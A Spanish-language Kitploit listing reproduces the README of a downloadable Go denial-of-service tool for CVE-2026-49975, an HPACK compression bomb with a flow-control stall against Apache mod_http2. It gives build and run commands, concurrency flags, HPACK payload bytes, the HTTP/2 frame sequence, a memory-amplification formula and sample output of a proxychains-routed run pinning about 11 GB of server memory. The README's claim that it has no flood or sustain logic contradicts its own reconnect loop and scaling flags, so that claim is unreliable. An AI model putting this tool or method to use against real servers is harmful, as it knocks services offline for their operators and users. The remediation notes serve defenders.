Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/naheeju/poc-cve-2026-49975
Análisis de VulnerabilidadesExplotaciónSeguridad WebSeguridad de Redes
GitHubnaheeju/poc-cve-2026-49975

POC-CVE-2026-49975

Prueba de concepto de investigación de seguridad para CVE-2026-49975: bomba de compresión HPACK de HTTP/2 + DoS por retención de control de flujo en Apache mod_http2

Ver Repositorio
hace 7h 37mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Go Version Status Scope CVSS License

CVE-2026-49975

HTTP/2 Bomb — PoC de bomba de compresión HPACK + retención de control de flujo

PoC de investigación de seguridad por naheeju


⚠️ Esta es una herramienta funcional de DoS por agotamiento de memoria — no es un juguete. Abre flujos que fuerzan al objetivo a asignar memoria y los mantiene abiertos mediante trucos de control de flujo de HTTP/2. Mientras el proceso esté en ejecución, sigue reteniendo y se reconecta automáticamente si el servidor cierra la conexión — no se detiene por sí solo. El impacto escala directamente con --threads, y . Detener el proceso (Ctrl+C) libera los flujos retenidos y permite que el servidor se recupere, pero nada en el funcionamiento por defecto es "suave" — trata cada ejecución como una prueba con fuego real.

--streams
--headers

1. Descripción general

CVE-2026-49975 ("HTTP/2 Bomb") es una vulnerabilidad de denegación de servicio remota y no autenticada que afecta al módulo mod_http2 del servidor Apache HTTP. Encadena dos debilidades de HTTP/2 conocidas desde hace tiempo:

  1. Bomba de contabilidad HPACK — una pequeña petición HTTP/2 codificada en HPACK provoca que múltiples fragmentos de cabecera Cookie se fusionen sin contabilizarse contra LimitRequestFields, forzando al servidor a asignar memoria repetidamente para estructuras internas de contabilidad de cabeceras.
  2. Estancamiento por control de flujo (estilo Slowloris) — el cliente anuncia una ventana de control de flujo casi nula, retrasando la transmisión de la respuesta y manteniendo abierto(s) el/los flujo(s) afectado(s), lo que impide que se libere la memoria asignada.

El resultado: un único cliente en una conexión modesta puede forzar una asignación de memoria significativa y sostenida en el objetivo durante todo el tiempo que se mantenga abierto el flujo. Esta implementación soporta dos modos de payload y escala linealmente con la concurrencia que configures:

  • Modo nginx — planta una cabecera x-bomb vacía en la tabla dinámica HPACK y la referencia repetidamente (~70:1 de amplificación por referencia).
  • Modo classic — planta en su lugar una cabecera cookie sobredimensionada (~4000:1 de amplificación por referencia).

Cada conexión vuelve a referenciar la cabecera plantada miles de veces por flujo (--headers, por defecto 5000), a través de múltiples flujos por conexión (--streams, por defecto 10) y múltiples conexiones paralelas (--threads, por defecto 1). Si el servidor cierra una conexión, la herramienta se reconecta inmediatamente y continúa hasta que se detenga manualmente — este es un bucle de retención continua, no una sonda única de un solo disparo.

Identificadores relacionados para otras pilas afectadas (no implementadas ni probadas por este repositorio):

  • Envoy → CVE-2026-47774
  • Microsoft IIS, Cloudflare Pingora → rastreados por separado, sin CVE referenciado aquí

Alcance completo de la clase de debilidad subyacente, para completitud — la técnica "HTTP/2 Bomb" (bomba de compresión HPACK + retención de control de flujo) afecta a varias implementaciones de servidor más allá de Apache. Este repositorio solo implementa y prueba el caso de Apache; el resto se incluye para que los lectores entiendan la clase más amplia, no porque este PoC las ejercite:

ImplementaciónEstado¿Implementada en este PoC?
Apache HTTP Server mod_http2Corregido en httpd 2.4.68 (2026-06-08)Sí — este repositorio
nginxCorregido en 1.29.8No
EnvoyRastreado por separadoNo
Microsoft IISRastreado por separadoNo
Cloudflare PingoraRastreado por separadoNo
CVECVE-2026-49975
CWECWE-789 (Memory Allocation with Excessive Size Value, según NVD/CVE.org); también rastreado como CWE-409 (Improper Handling of Highly Compressed Data) por algunos proveedores
CVSS7.5 (Alto) — CVSS v3.1, vector solo de disponibilidad (según NVD). El propio aviso de Apache lo califica como Moderado.
Componente afectadoApache HTTP Server mod_http2
Versiones vulnerablesApache httpd 2.4.17 ≤ versión ≤ 2.4.67 (configuración HTTP/2 por defecto)
Corregido enApache HTTP Server 2.4.68 (publicado el 2026-06-08). La corrección subyacente llegó a upstream en mod_h2 el 2026-05-27, se fusionó en la rama 2.4.x de httpd el 2026-06-02 y se distribuyó en la versión 2.4.68.
Tipo de ataqueDenegación de servicio — agotamiento de memoria (solo disponibilidad)
Requiere autenticaciónNo
Exposición de datos / RCENinguna — esto solo impacta la disponibilidad
Explotación conocidaActualmente no marcado como explotado en la naturaleza por fuentes rastreadas.

Referencias (fuentes primarias — verifica todas las afirmaciones de forma independiente):

  • Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-49975
  • Entrada NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-49975
  • Aviso de Apache / lista de vulnerabilidades: https://httpd.apache.org/security/vulnerabilities_24.html
  • Changelog de Apache 2.4.68 (referencia del commit de corrección): https://dlcdn.apache.org/httpd/CHANGES_2.4.68
  • Artículo del descubrimiento original: https://blog.calif.io/p/codex-discovered-a-hidden-http2-bomb

2. Alcance de este repositorio

Este repositorio contiene:

  • Un script PoC mínimo que reproduce el comportamiento de bomba HPACK de solo retención contra un objetivo que estés autorizado a probar.
  • Este README, que documenta la vulnerabilidad, la cronología de divulgación y las condiciones de uso seguro.

Este repositorio no contiene:

  • Ninguna automatización para escanear internet en busca de hosts vulnerables.
  • Ninguna lógica de inundación/sostenimiento de DoS, incremento de concurrencia ni listas de credenciales/objetivos.
  • Ningún código dirigido a un sistema en vivo específico por defecto. El objetivo debe ser proporcionado explícitamente por el operador.

3. ⚖️ Aviso legal y ético

Lee esto antes de hacer cualquier otra cosa.

  • Este PoC se publica estrictamente con fines educativos y de investigación en seguridad defensiva — para ayudar a los operadores a verificar su propia exposición y para respaldar el registro público de una vulnerabilidad ya divulgada y ya corregida.
  • Debes tener autorización explícita y documentada del propietario del sistema antes de ejecutar esto contra cualquier objetivo que no sea tu propia infraestructura o un sistema que estés contractual/legalmente autorizado a probar (por ejemplo, un encargo de pentest firmado, un alcance de bug bounty o permiso por escrito).
  • Ejecutar este PoC contra sistemas que no posees o para los que no tienes autorización de prueba — incluyendo, entre otros, agencias gubernamentales, fuerzas del orden, infraestructura crítica o cualquier sistema de producción de terceros — sin permiso es ilegal en la mayoría de jurisdicciones (en Indonesia, esto cae bajo la UU ITE) y puede constituir un delito penal en otros lugares.
  • El/los autor(es) de este repositorio:
    • No asumen ninguna responsabilidad por el uso indebido de este código.
    • No aprueban el uso de este PoC para interrumpir, degradar o denegar el servicio a ningún sistema sin autorización.
    • Proporcionan este código tal cual, sin garantía de ningún tipo.
  • Si eres un proveedor, agencia u operador de sistema que encontró este repositorio porque tu sistema fue probado: consulta la Sección 6 — Cronología de divulgación para saber cómo se reportó esto y a quién.

Al descargar, clonar o ejecutar cualquier código de este repositorio, aceptas que eres el único responsable de asegurarte de contar con la autorización adecuada, y que aceptas plena responsabilidad legal por tu uso del mismo.


4. Método de reconocimiento

CVE-2026-49975 solo aplica a un objetivo que cumpla ambos criterios de la Sección 1 — accesible por HTTP/2 y ejecutando una versión de mod_http2 vulnerable y dentro del rango (2.4.17 ≤ versión ≤ 2.4.67, configuración por defecto). Un simple curl -vkI contra el puerto HTTPS del objetivo es suficiente para verificar ambos — no se necesita ningún escáner ni flags adicionales:

root@kitploit:~
curl -vkI https://<target>

Qué buscar en la salida:

  • ALPN: server accepted h2 — el servidor negoció HTTP/2 para esta conexión. Esta es la precondición para CVE-2026-49975, ya que el fallo reside en mod_http2; un servidor que nunca aceptó h2 aquí no es candidato.
  • La cabecera de respuesta Server (visible una vez que se imprimen las cabeceras de la respuesta HEAD, más abajo en la salida de -v) — esto es lo que confirma o descarta la versión real de Apache/mod_http2 contra el rango vulnerable de la Sección 1. La aceptación de ALPN por sí sola no confirma la versión — eso aún requiere la cabecera Server o una verificación de banner equivalente.

No se usa nada más allá de esto para el reconocimiento en este repositorio — sin tráfico de explotación activa, sin escáneres de vulnerabilidades, sin barridos de puertos.


5. Requisitos

  • Runtime: Go 1.26+ (módulo: cve202649975)
  • Dependencias: golang.org/x/net v0.59.0 (resuelto automáticamente vía go build)
  • Acceso de red: alcanzabilidad TCP directa al objetivo autorizado en el puerto especificado (por defecto 443, TLS/h2 por defecto; --no-ssl para h2c en texto plano)
  • Opcional: proxychains4 — si el binario se lanza bajo proxychains4, detecta el wrapper LD_PRELOAD, lee el mismo proxychains4.conf y enruta sus propias conexiones a través de ese proxy SOCKS5 (resolución DNS remota) — útil cuando el alcance de un encargo requiere probar desde una ruta de salida específica
  • Permisos: autorización por escrito / carta de encargo para el objetivo que se está probando

6. Cronología de divulgación

Cronología pública del propio CVE-2026-49975: reportado a Apache el 2026-05-26; la corrección llegó a upstream en mod_h2 el 2026-05-27; fusionada en la rama 2.4.x de httpd el 2026-06-02; Apache HTTP Server 2.4.68 publicado el 2026-06-08.


7. Uso

Solo ejecuta esto contra un objetivo que estés explícitamente autorizado a probar. No hay límite de duración integrado ni modo seguro — tú eres responsable de cuánto tiempo se ejecuta y con qué concurrencia.

Compilar:

root@kitploit:~
go build -o dos ./cmd
# or: sudo install -m 0755 dos /usr/local/bin/dos   (see build.sh)

Ejecutar:

root@kitploit:~
./dos <target> <port> [flags]
FlagPor defectoDescripción
--threads N1Conexiones paralelas
--streams N10Flujos abiertos por conexión
--headers N5000Referencias a la tabla dinámica HPACK por flujo (motor de amplificación)
--mode nginx|classicnginxnginx = bomba de contabilidad de cabecera vacía (~70:1); classic = bomba de cookie gorda (~4000:1, coincide con el mecanismo de fusión de Cookie de mod_http2 de Apache por el que se rastrea este CVE)
--no-ssloffUsar h2c en texto plano en lugar de TLS

Ejemplo, prueba mínima de laboratorio autorizada:

root@kitploit:~
./dos lab-target.internal 443 --threads 1 --streams 5 --headers 1000 --mode nginx

Comportamiento esperado:

  • Imprime un resumen previo al vuelo (objetivo, modo, recuentos de conexiones/flujos, memoria estimada del lado del servidor) antes de enviar nada.
  • Mantiene los flujos abiertos con goteos de WINDOW_UPDATE de 1 byte y pings periódicos; se reconecta automáticamente y repite si el servidor cierra la conexión.
  • Solo se detiene cuando envías Ctrl+C / SIGTERM — planifica tu ventana de prueba en consecuencia y monitorea la memoria del objetivo en tiempo real.
  • Recomendado: validar primero contra un entorno de staging/laboratorio con --streams/--headers bajos antes de cualquier prueba de producción autorizada, y tener listo un plan de reversión/reinicio para el servicio objetivo en cualquier caso.

7a. Estimación de presión de RAM

Fórmula aproximada de memoria del lado del servidor para los dos modos de esta herramienta (solo Apache mod_http2 — consulta la Sección 1 para saber cómo nginx/classic se corresponden con la ratio de amplificación):

root@kitploit:~
total_streams   = threads × streams
server_ram_MB   ≈ total_streams × headers × amplification_bytes / 1024²

# nginx mode (~70 bytes/ref), defaults (threads=1, streams=10, headers=5000):
#   1 × 10 × 5000 × 70 / 1024²  ≈ 3.3 MB held

# classic mode (~4000 bytes/ref), defaults:
#   1 × 10 × 5000 × 4000 / 1024² ≈ 190 MB held

Escala threads/streams/headers hacia arriba y el número crece linealmente — por eso una prueba de laboratorio autorizada debería empezar bajo (ver Sección 7) antes de cualquier ejecución en alcance de producción.


7b. Detalles técnicos

Esto documenta el mecanismo que este PoC específico implementa contra Apache mod_http2 — no se extiende a otras implementaciones de servidor, que están fuera del alcance de este repositorio (ver Sección 2).

Semilla de la tabla dinámica HPACK (indexación incremental, añade entrada en el índice 62):

root@kitploit:~
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00              (nginx-mode seed: empty value)

Referencia indexada a esa entrada (1 byte cada una, repetida --headers veces):

root@kitploit:~
0x80 | 62 = 0xbe

Secuencia de frames HTTP/2 por conexión:

root@kitploit:~
Client → Server:
  PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n        (connection preface)
  SETTINGS [INITIAL_WINDOW_SIZE=0]         (flow-control stall setup)
  SETTINGS ACK                             (after reading server SETTINGS)
  HEADERS [stream 1]  ← HPACK bomb payload
  HEADERS [stream 3]  ← HPACK bomb payload
  ...                                      (up to --streams per connection)
  WINDOW_UPDATE(1) per stream, periodically   (keeps the stall alive)

El costo en el cable es pequeño y mayormente fijo por flujo (un puñado de bytes para la semilla + 1 byte por referencia); la asignación del lado del servidor es lo que crece de forma desproporcionada — esa brecha es la vulnerabilidad.


7c. Salida de ejemplo

Salida de una ejecución de laboratorio autorizada, modo classic, 20 conexiones × 30 flujos/conexión, 5000 refs HPACK/flujo, enrutada a través de proxychains:

root@kitploit:~
proxychains4 dos domain.com 443 --mode classic --threads 20 --streams 30 --headers 5000
root@kitploit:~
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17


 ██╗  ██╗██████╗     ██████╗  ██████╗ ███╗   ███╗██████╗
 ██║  ██║╚════██╗    ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗
 ███████║ █████╔╝    ██████╔╝██║   ██║██╔████╔██║██████╔╝
 ██╔══██║██╔═══╝     ██╔══██╗██║   ██║██║╚██╔╝██║██╔══██╗
 ██║  ██║███████╗    ██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝
 ╚═╝  ╚═╝╚══════╝    ╚═════╝  ╚═════╝ ╚═╝     ╚═╝╚═════╝

  CVE-2026-49975  —  HTTP/2 Bomb PoC  (HPACK bomb + flow-control hold)
  Go PoC by naheeju  ·  originally discovered by Calif.IO  ·  authorized testing only
──────────────────────────────────────────────────────────────────
  Run configuration
  Target           domain.com:443
  Mode             classic (~4000:1 amplification)
  Connections      20
  Streams/conn     30
  Total streams    600
  HPACK refs/str   5000
  Est. server RAM  ~11444 MB
  Proxychains      yes — SOCKS5 127.0.0.1:9050 (remote DNS, no leak)
──────────────────────────────────────────────────────────────────
  [~] Opening connection #1...
  ...
  [+] 30 streams open | ~572 MB pinned on server | holding...
  [+] 30 streams open | ~572 MB pinned on server | holding...
  ... (one line per connection as it finishes opening its 30 streams)

Cada conexión reporta de forma independiente su propia contribución de RAM local a medida que abre flujos (~572 MB por conexión con estos ajustes); la cifra previa al vuelo Est. server RAM es el agregado de las 20 conexiones (~11.4 GB) una vez que cada conexión está completamente abierta y reteniendo.

domain.com arriba es un marcador de posición — reemplázalo con tu objetivo autorizado real al documentar tu propia ejecución, y redáctalo si el encargo es confidencial.


8. Remediación

  • Apache HTTP Server: actualiza a httpd 2.4.68 o posterior (esta es la versión que contiene la corrección).
  • Si el parcheo inmediato no es posible:
    • Establece LimitRequestFields de forma conservadora y monitorea el comportamiento de fusión de cabeceras.
    • Considera deshabilitar HTTP/2 en el listener afectado hasta que se parchee.
    • Coloca el servicio detrás de un proxy inverso/WAF que imponga un límite estricto de recuento de cabeceras.
  • Vuelve a probar tras la remediación para confirmar que el comportamiento de retención y liberación ya no causa un crecimiento sostenido de memoria.

9. Créditos / Atribución

Descubrimiento y divulgación original de la vulnerabilidad a Apache (sin relación con este repositorio ni con su autor):

  • Quang Luong, Calif.IO, en colaboración con OpenAI Codex
  • Reportado al Apache HTTP Server Project el 2026-05-26; línea de crédito oficial publicada en el changelog de 2.4.68

Este repositorio (reimplementación en Go, escrita y probada después de que la corrección pública llegara):

  • Autor: naheeju
  • PoC independiente construido a partir de la descripción pública de la vulnerabilidad y el diff del parche, con fines de verificación/educativos contra objetivos autorizados. No está afiliado con el descubrimiento original, Calif.IO ni el Apache Security Team.

Preguntas, correcciones o inquietudes relacionadas con la divulgación responsable sobre este PoC específico: abre un issue en este repositorio.

Licencia: MIT (solo el código de este repositorio — ver LICENSE). No se extiende a, ni implica el respaldo de, los descubridores originales ni la Apache Software Foundation.

Descargar herramienta